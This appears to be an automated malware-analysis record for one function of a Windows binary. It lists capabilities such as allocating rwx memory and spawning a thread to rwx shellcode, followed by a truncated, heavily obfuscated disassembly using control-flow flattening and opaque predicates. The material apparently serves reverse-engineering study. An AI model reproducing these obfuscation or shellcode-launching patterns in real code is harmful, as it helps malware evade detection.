Function at 0x477520
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x106c
call fcn.005fa0d0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x63c080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, ecx
add edx, 0xdbbd5a3c
sub edx, 0x2f352489
sub edx, 0xdbbd5a3c
add edx, 0xd67262d3
add edx, 0xd3af97aa
sub edx, 0xd67262d3
sub edx, 0xa778c28c
add edx, 0x2f352489
add edx, 0xa778c28c
mov esi, 0x1dd07804
add esi, 0
sub esi, 1
sub esi, 0x1dd07804
add edx, 0xce290359
add edx, esi
sub edx, 0xce290359
xor esi, esi
sub esi, 0xcd6a9720
sub edx, esi
xor esi, esi
sub esi, 0xd3af97aa
add edx, esi
xor esi, esi
sub esi, 0xcd6a9720
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1ba], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1b9], al
mov dword [ebp - 0x1c0], 0x3161a027
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x1cc], eax
sub eax, 0x809c5fa9
je 0x495c51
jmp 0x47760c
mov eax, dword [ebp - 0x1cc]
sub eax, 0x813908c4
je 0x48ac37
jmp 0x477622
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8144ff9c
je 0x4991d0
jmp 0x477638
mov eax, dword [ebp - 0x1cc]
sub eax, 0x81b2616c
je 0x4b19df
jmp 0x47764e
mov eax, dword [ebp - 0x1cc]
sub eax, 0x823bbb12
je 0x49cd67
jmp 0x477664
mov eax, dword [ebp - 0x1cc]
sub eax, 0x83e0ebe4
je 0x4b134b
jmp 0x47767a
mov eax, dword [ebp - 0x1cc]
sub eax, 0x84c86656
je 0x4851aa
jmp 0x477690
mov eax, dword [ebp - 0x1cc]
sub eax, 0x851767a8
je 0x49768f
jmp 0x4776a6
mov eax, dword [ebp - 0x1cc]
sub eax, 0x85fcfece
je 0x4b15db
jmp 0x4776bc
mov eax, dword [ebp - 0x1cc]
sub eax, 0x88045ae8
je 0x499dc2
jmp 0x4776d2
mov eax, dword [ebp - 0x1cc]
sub eax, 0x89cfc322
je 0x4924ad
jmp 0x4776e8
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8a6fd234
je 0x496d05
jmp 0x4776fe
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8aa71907
je 0x4973e0
jmp 0x477714
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8b61e0ec
je 0x4ad246
jmp 0x47772a
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8bc4562e
je 0x499938
jmp 0x477740
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8e39cbd4
je 0x4a175b
jmp 0x477756
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8ede383e
je 0x4884a8
jmp 0x47776c
mov eax, dword [ebp - 0x1cc]
sub eax, 0x91078ec7
je 0x49084c
jmp 0x477782
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9145e879
je 0x4b18b8
jmp 0x477798
mov eax, dword [ebp - 0x1cc]
sub eax, 0x91cb296b
je 0x47eb27
jmp 0x4777ae
mov eax, dword [ebp - 0x1cc]
sub eax, 0x92929ff3
je 0x47afe2
jmp 0x4777c4
mov eax, dword [ebp - 0x1cc]
sub eax, 0x954a0daa
je 0x4acbe7
jmp 0x4777da
mov eax, dword [ebp - 0x1cc]
sub eax, 0x95529fa0
je 0x497465
jmp 0x4777f0
mov eax, dword [ebp - 0x1cc]
sub eax, 0x968747e3
je 0x4a0a00
jmp 0x477806
mov eax, dword [ebp - 0x1cc]
sub eax, 0x96bb1ff2
je 0x4a5d2c
jmp 0x47781c
mov eax, dword [ebp - 0x1cc]
sub eax, 0x98549135
je 0x48ac0b
jmp 0x477832
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9ad08677
je 0x4aef65
jmp 0x477848
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9c01477b
je 0x48665d
jmp 0x47785e
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9d65f65b
je 0x490801
jmp 0x477874
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9d766889
je 0x4a52aa
jmp 0x47788a
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9e4e7195
je 0x49d07a
jmp 0x4778a0
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9fee938e
je 0x48d99e
jmp 0x4778b6
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa128b3b0
je 0x497350
jmp 0x4778cc
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa152656e
je 0x48ab4f
jmp 0x4778e2
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa167df38
je 0x4aa20f
jmp 0x4778f8
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa21c95ae
je 0x4ad26d
jmp 0x47790e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa2bb3ee4
je 0x483e7b
jmp 0x477924
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa46f26fe
je 0x4a2803
jmp 0x47793a
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa4f1da7f
je 0x4976d3
jmp 0x477950
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa61573b1
je 0x4824b2
jmp 0x477966
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa6b9b3bb
je 0x49fdea
jmp 0x47797c
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa6f0abc1
je 0x48559d
jmp 0x477992
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa72d5485
je 0x4a31c6
jmp 0x4779a8
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa758916e
je 0x47dceb
jmp 0x4779be
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa76f4c60
je 0x48f319
jmp 0x4779d4
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa7fa7204
je 0x4a6028
jmp 0x4779ea
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa84947c2
je 0x4b181c
jmp 0x477a00
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa87c13ff
je 0x4ad4b9
jmp 0x477a16
mov eax, dword [ebp - 0x1cc]
sub eax, 0xaa9e20e4
je 0x49020f
jmp 0x477a2c
mov eax, dword [ebp - 0x1cc]
sub eax, 0xabaddfba
je 0x4b193c
jmp 0x477a42
mov eax, dword [ebp - 0x1cc]
sub eax, 0xabfae5a4
je 0x490810
jmp 0x477a58
mov eax, dword [ebp - 0x1cc]
sub eax, 0xadb456df
je 0x4b1894
jmp 0x477a6e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xae6fb0b1
je 0x4ae654
jmp 0x477a84
mov eax, dword [ebp - 0x1cc]
sub eax, 0xae85083d
je 0x495fbb
jmp 0x477a9a
mov eax, dword [ebp - 0x1cc]
sub eax, 0xafe15577
je 0x4a4d98
jmp 0x477ab0
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb011f915
je 0x482528
jmp 0x477ac6
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb11ba3f7
je 0x4afd75
jmp 0x477adc
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb13a0c8e
je 0x497cc4
jmp 0x477af2
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb25dba6a
je 0x4abc73
jmp 0x477b08
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb4649cc1
je 0x4ad2b0
jmp 0x477b1e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb4eb6e1c
je 0x4973d1
jmp 0x477b34
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb709c158
je 0x4b192d
jmp 0x477b4a
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb8ed1c20
je 0x494193
jmp 0x477b60
mov eax, dword [ebp - 0x1cc]
sub eax, 0xbb042d65
je 0x48bfde
jmp 0x477b76
mov eax, dword [ebp - 0x1cc]
sub eax, 0xbb356515
je 0x4a362b
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x1b4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1b0]
lea eax, [0x609fba]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x2b200
call fcn.005fadc0
add esp, 0xc
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor esi, esi
sub esi, 0xc1c25709
mov edx, eax
sub edx, esi
add edx, 0x28bd428b
add edx, 0xd1eb134a
sub edx, 0x28bd428b
sub edx, 0xdb41efad
sub edx, 0xc1c25709
add edx, 0xdb41efad
sub edx, 0xff1d6879
sub edx, 0x9db0ad4a
add edx, 0xff1d6879
sub edx, 0x975742cd
sub edx, 1
add edx, 0x975742cd
add edx, 0x3c56c005
add edx, 0x9db0ad4a
sub edx, 0x3c56c005
add edx, 0xcfc90ef
add edx, 0x107a1208
sub edx, 0xcfc90ef
xor esi, esi
sub esi, 0xd1eb134a
add edx, esi
xor esi, esi
sub esi, 0x107a1208
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x27f], al
cmp ecx, 0xa
setl dl
mov byte [ebp - 0x27d], dl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dh, al
and dh, 0
and bh, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov bl, ah
xor bl, 0xff
xor bl, 0
and bl, 0
mov byte [ebp - 0x28d], bl
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, 1
xor dl, 1
mov bh, al
xor bh, dl
and bh, al
mov al, 1
xor al, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x288], al
mov dl, cl
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x28c], al
and cl, ah
mov al, bl
and al, 0xff
mov byte [ebp - 0x28a], al
mov al, byte [ebp - 0x28d]
and al, ah
mov byte [ebp - 0x28b], al
mov al, byte [ebp - 0x28c]
or al, cl
mov cl, byte [ebp - 0x28b]
mov byte [ebp - 0x289], al
mov al, byte [ebp - 0x28a]
or al, cl
mov cl, byte [ebp - 0x289]
xor cl, al
mov al, byte [ebp - 0x288]
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x285], dl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and bh, ah
mov byte [ebp - 0x287], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x286], al
mov al, byte [ebp - 0x287]
or dl, al
mov al, byte [ebp - 0x286]
or bh, al
mov al, byte [ebp - 0x285]
xor dl, bh
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x252], al
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0x284], bh
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov ah, cl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, ah
and al, 0xff
mov byte [ebp - 0x283], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x282], al
mov al, byte [ebp - 0x284]
and al, bl
mov byte [ebp - 0x281], al
mov al, byte [ebp - 0x283]
or al, cl
mov cl, byte [ebp - 0x282]
mov byte [ebp - 0x280], al
mov al, byte [ebp - 0x281]
or cl, al
mov al, byte [ebp - 0x280]
xor al, cl
mov cl, byte [ebp - 0x27f]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or al, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and al, bl
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or bh, al
mov al, byte [ebp - 0x252]
or dl, bl
xor bh, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x27e], al
mov al, 1
xor al, 1
mov bl, cl
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, al
mov al, byte [ebp - 0x27e]
or al, bl
or dl, ah
xor al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov ah, 1
xor ah, 0
and ah, 0
mov dl, 1
xor dl, 0
mov al, dl
and al, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, al
mov al, byte [ebp - 0x27d]
or cl, dl
xor ah, cl
mov dl, ch
xor dl, 0xff
mov cl, ah
and cl, dl
xor ah, 0xff
mov dl, ch
and dl, ah
or cl, dl
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x26a], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, al
mov al, byte [ebp - 0x252]
or cl, ah
xor dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
mov byte [ebp - 0x27c], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x27b], al
mov al, byte [ebp - 0x27c]
and cl, 1
or ah, al
mov al, byte [ebp - 0x27b]
or al, cl
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0x279], al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x27a], cl
and cl, 0
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x278], al
mov al, byte [ebp - 0x27a]
and al, 1
mov byte [ebp - 0x277], al
mov al, byte [ebp - 0x279]
or al, cl
mov cl, byte [ebp - 0x278]
mov byte [ebp - 0x276], al
mov al, byte [ebp - 0x277]
or cl, al
mov al, byte [ebp - 0x276]
xor al, cl
mov byte [ebp - 0x275], al
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x26f], cl
mov dl, 1
xor dl, 0
xor al, 0xff
mov byte [ebp - 0x270], al
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov byte [ebp - 0x274], cl
mov cl, ah
and cl, 0
and al, 0xff
mov byte [ebp - 0x272], al
mov al, byte [ebp - 0x275]
and al, ah
mov byte [ebp - 0x273], al
mov al, byte [ebp - 0x274]
or al, cl
mov cl, byte [ebp - 0x273]
mov byte [ebp - 0x271], al
mov al, byte [ebp - 0x272]
or al, cl
mov cl, byte [ebp - 0x271]
xor cl, al
mov al, byte [ebp - 0x270]
or dl, al
mov al, byte [ebp - 0x26f]
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov cl, bh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
and al, 1
mov byte [ebp - 0x26e], al
mov al, 1
xor al, 1
and bh, al
mov ah, bl
xor ah, 0xff
and ah, 0xff
and bl, al
mov al, byte [ebp - 0x26e]
or al, bh
or ah, bl
xor al, ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x26b], bh
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and cl, ah
mov byte [ebp - 0x26d], cl
mov cl, bl
and cl, 0
and al, ah
mov byte [ebp - 0x26c], al
mov al, byte [ebp - 0x26d]
or bh, al
mov al, byte [ebp - 0x26c]
or cl, al
mov al, byte [ebp - 0x26b]
xor bh, cl
mov cl, byte [ebp - 0x26a]
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x25d], al
mov al, dl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov cl, dl
and cl, bl
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or al, cl
mov cl, byte [ebp - 0x26a]
or ah, bl
xor al, ah
mov byte [ebp - 0x25e], al
mov ah, 1
xor ah, 1
and ah, 0
mov al, 1
xor al, 0
mov bl, al
and bl, 1
mov byte [ebp - 0x269], bl
mov bl, 1
xor bl, 1
and bl, 0
and al, 1
mov byte [ebp - 0x268], al
mov al, byte [ebp - 0x269]
or ah, al
mov al, byte [ebp - 0x268]
or bl, al
mov al, byte [ebp - 0x25d]
xor ah, bl
mov byte [ebp - 0x25a], ah
xor al, 0xff
mov ah, 1
xor ah, 1
mov bl, 1
xor bl, 1
or al, ah
mov ah, byte [ebp - 0x25a]
or bl, 1
xor al, 0xff
and al, bl
xor cl, 0xff
xor ah, 0xff
mov bl, 1
xor bl, 0
or cl, ah
mov ah, byte [ebp - 0x25e]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, 1
xor bl, 1
xor ah, bl
mov bl, byte [ebp - 0x25e]
and ah, bl
mov bl, byte [ebp - 0x25a]
mov byte [ebp - 0x263], ah
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 1
or dl, bl
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x265], dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x264], ah
mov bl, 1
xor bl, 1
mov ah, dl
and ah, 0xff
and al, bl
mov byte [ebp - 0x267], al
mov al, byte [ebp - 0x264]
and al, 0xff
mov byte [ebp - 0x266], al
mov al, byte [ebp - 0x267]
and cl, bl
or ah, al
mov al, byte [ebp - 0x266]
or al, cl
mov cl, byte [ebp - 0x265]
xor ah, al
mov al, byte [ebp - 0x264]
or dl, al
mov al, byte [ebp - 0x263]
xor dl, 0xff
or bl, 1
and dl, bl
or ah, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x25f], bl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x260], dl
mov dl, 1
xor dl, 1
and bl, 0xff
and al, dl
mov byte [ebp - 0x262], al
mov al, byte [ebp - 0x260]
and al, 0xff
mov byte [ebp - 0x261], al
mov al, byte [ebp - 0x262]
and cl, dl
or bl, al
mov al, byte [ebp - 0x261]
or al, cl
mov cl, byte [ebp - 0x260]
xor bl, al
mov al, byte [ebp - 0x25f]
or al, cl
mov cl, byte [ebp - 0x25e]
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov al, ah
xor al, 0xff
mov dl, bl
and dl, al
mov al, byte [ebp - 0x25d]
xor bl, 0xff
and ah, bl
or dl, ah
mov byte [ebp - 0x254], dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x259], bl
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
and bl, 0
and al, dl
mov byte [ebp - 0x25c], al
mov al, ah
and al, 0
mov byte [ebp - 0x25b], al
mov al, byte [ebp - 0x25c]
and cl, dl
or bl, al
mov al, byte [ebp - 0x25b]
or al, cl
mov cl, byte [ebp - 0x25a]
xor bl, al
mov al, byte [ebp - 0x259]
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov al, bl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bl
or dl, ah
xor al, dl
mov byte [ebp - 0x256], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x255], al
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
mov al, bl
and al, 1
mov byte [ebp - 0x258], al
mov al, byte [ebp - 0x255]
and al, 0
mov byte [ebp - 0x257], al
mov al, byte [ebp - 0x258]
and cl, bl
or ah, al
mov al, byte [ebp - 0x257]
or al, cl
mov cl, byte [ebp - 0x256]
xor ah, al
mov al, byte [ebp - 0x255]
or dl, al
mov al, byte [ebp - 0x254]
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x253], cl
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov dl, 1
xor dl, 0
or al, cl
mov cl, byte [ebp - 0x253]
or dl, 0
xor al, 0xff
and al, dl
xor bl, 0xff
xor cl, 0xff
mov dl, 1
xor dl, 0
or bl, cl
mov cl, byte [ebp - 0x252]
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, ah
and dl, bh
xor ah, bh
or dl, ah
mov ah, al
and ah, bl
xor al, bl
or ah, al
mov bl, dl
xor bl, 0xff
mov al, ah
and al, bl
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x251], al
mov al, ch
xor al, 0xff
mov dl, dh
xor dl, al
and dl, dh
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or ah, dh
or al, ch
xor ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor dl, 0xff
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
mov ah, ch
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov al, 1
xor al, 1
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or al, bh
or ah, bl
xor al, ah
mov bl, 1
xor bl, 0
mov ah, al
xor ah, bl
and ah, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
mov ch, dl
and ch, ah
xor dl, 0xff
and al, dl
or ch, al
mov al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
mov dl, cl
and dl, ah
xor cl, 0xff
and cl, 0
or dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x251]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6bdce3c
mov ecx, 0xe54f33d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x1d4b96e3
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0xccdf7134
jmp 0x4b1f8e
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x1c0], 0xfbbd38e9
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor esi, esi
sub esi, 0x309b2c89
mov edx, eax
sub edx, esi
sub edx, 0x879a0adb
add edx, 0x21bdb946
add edx, 0x879a0adb
sub edx, 0xfa981d1a
sub edx, 0x309b2c89
add edx, 0xfa981d1a
xor esi, esi
sub esi, 0xac3a0423
sub esi, 1
add esi, 0xac3a0423
sub edx, 0x71dc53da
add edx, esi
add edx, 0x71dc53da
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xd58c2d59
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x7473d360
sub edx, 0x21bdb946
sub edx, 0x7473d360
sub edx, 0xee5f9629
sub edx, 0xd58c2d59
add edx, 0xee5f9629
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x417], al
cmp ecx, 0xa
setl bl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov ch, 1
xor ch, 1
mov cl, ah
xor cl, ch
and cl, ah
mov byte [ebp - 0x424], cl
mov ah, 1
xor ah, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, bh
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bh, ch
mov byte [ebp - 0x426], bh
mov bh, dh
and bh, 0
and al, ch
